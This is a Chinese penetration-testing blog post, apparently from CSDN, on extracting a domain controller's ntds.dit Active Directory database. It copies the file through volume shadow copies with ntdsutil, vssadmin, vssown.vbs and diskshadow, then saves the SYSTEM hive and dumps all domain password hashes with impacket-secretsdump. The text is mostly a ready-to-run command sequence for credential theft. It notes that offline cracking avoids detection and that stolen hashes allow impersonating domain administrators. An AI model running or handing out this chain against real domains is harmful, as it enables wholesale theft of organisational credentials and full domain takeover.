[内网渗透]—卷影拷贝提取ntds.dit

前言

通常情况下,即使拥有管理员权限,也无法读取域控制器中的C:\Windows\NTDS\ntds.dit文件。(活动目录始终访问这个文件,所以文件被禁止读取)

使用Windows本地卷影拷贝服务(volume Shadow Copy Server,VSS),就可以获取文件的副本(类似于虚拟机的快照)。

ntds.dit介绍

ntds.dit文件是一个数据库,用于存储Active Directory数据,包括有关用户对象,组和组成员身份的信息。它包括域中所有用户的密码哈希。通过提取这些哈希值,可以使用诸如Mimikatz之类的工具执行哈希传递攻击,或使用诸如Hashcat之类的工具来破解这些密码。这些密码的提取和破解可以脱机执行,因此将无法检测到。一旦攻击者提取了这些散列,它们便可以充当域上的任何用户,包括域管理员。

在活动目录中,所有的数据都保存在ntds.dit中。ntds.dit是一个二进制文件,存储位置为域控制器的%SystemRoot%\ntds\ntds.dit。ntds.dit中包含用户名、散列值、组、GPP、OU等与活动目录相关的信息。它和SAM文件一样,是被操作系统锁定的。

在一般情况下系统运维人员会利用卷影拷贝服务(volume Shadow Copy Server,VSS)实现ntds.dit的拷贝,VSS本质上属快照(Snamshot)技术的一种,主要用于备份和恢复(即使目标文件被系统锁定)。

一般域环境内最重要的三个文件如下:

ntds.dit文件位置: C:\\Windows\\NTDS\\NTDS.dit

system文件位置:C:\\Windows\\System32\\config\\SYSTEM

sam文件位置:C:\\Windows\\System32\\config\\SAM

通过ntdsutil.exe提取ntds.dit

ntdsuti.exe 是一个为活动目录提供管理机制的命令行工具。使用ntdsuti.exe,可以维护和管理活动目录数据库、控制单个主机操作、创建应用程序目录分区、副除由未使用活动目录安装向导(DCPromo.exe)成功降级的与控制器留下的元数据等。

该工具默认安装在域控制器上,可以在域控制器上直接操作,也可以通过域内主机在域控制器上远程操作。

该工具支持的操作系统:

  • Windows Server 2003

  • Windows Server 2008

  • Windows Server 2012

工具使用方法︰在域控制器的命令行环境下输入如下命令,创建一个快照,该快照包含Windows中的所有文件,且在复制文件时不会受到Windows锁定机制的限制。

创建快照

ntdsutil snapshot "activate instance ntds" create quit quit

挂载快照

ntdsutil snapshot "mount {9368eb6a-631b-4e28-b25b-bc78b4674f49}" quit quit

复制ntds.dit

copy C:\$SNAP_202211280955_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit

此时发现快照和复制出来的ntds.dit都在C盘中

快照内容:

卸载快照

ntdsutil snapshot "unmount {9368eb6a-631b-4e28-b25b-bc78b4674f49}" quit quit

删除快照

ntdsutil snapshot "delete {9368eb6a-631b-4e28-b25b-bc78b4674f49}" quit quit

利用vssadmin提取ntds.dit

vssadmin 是Windows Server 2008及 Windows 7提供的VSS管理工具,可用于创建和删除卷影拷贝。

创建C盘的卷影拷贝

vssadmin create shadow /for=c:

在卷影拷贝中将ntds.dit复制出来

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit c:\ntds.dit

删除快照

vssadmin delete shadows /for=c: /quiet

利用vssown.vbs提取ntds.dit

查找ntds.dit位置

reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters

启动卷影拷贝服务

cscript //nologo vssown.vbs /start

创建一个C盘的卷影拷贝

cscript vssown.vbs /create c

列出当前卷影拷贝

cscript vssown.vbs /list

复制ntds.dit

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit c:\ntds.dit

删除卷影拷贝

cscript vssown.vbs /delete {B00A5238-D555-4AF1-8703-2769316D7140}

使用diskshadow导出ndts.dit

可以使用diskshadow.exe来执行命令。

例如,将需要执行的命令“exec c:\windows\system\calc.exe”写入c:\command.txt文件

echo exec c:\\windows\\system32\\calc.exe \> command.txt

type command.txt

使用diskshadow执行txt中的命令

diskshadow /s command.txt

diskshadow也可以用来导出ntds.dit,将如下命令写入一个文件中去执行

//设置卷影拷贝  
set context persistent nowriters

//添加卷

add volume c: alias someAlias

//创建快照

create

//分配虚拟磁盘盘符

expose %someAlias% z:

//将ntds.dit复制到C盘中

exec "cmd.exe" /c copy z:\\windows\\ntds\\ntds.dit c:\\ntds.dit

//删除所有快照

delete shadows all

//列出系统中的卷影拷贝

list shadows all

//退出

reset

exit

system.hiv

最后还需要转储system.hive,system.hiv中存放着ntds.dit的密钥,如果没有该密钥,将无法查看ntds.dit中的信息:

reg save hklm\system system.hive

impacket工具包secretdump导出ntds.dit域内全部hash

impacket-secretsdump -system system.hive -ntds ntds.dit LOCAL

参考

利用卷影拷贝服务提取ntds.dit - 先知社区 (aliyun.com)

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值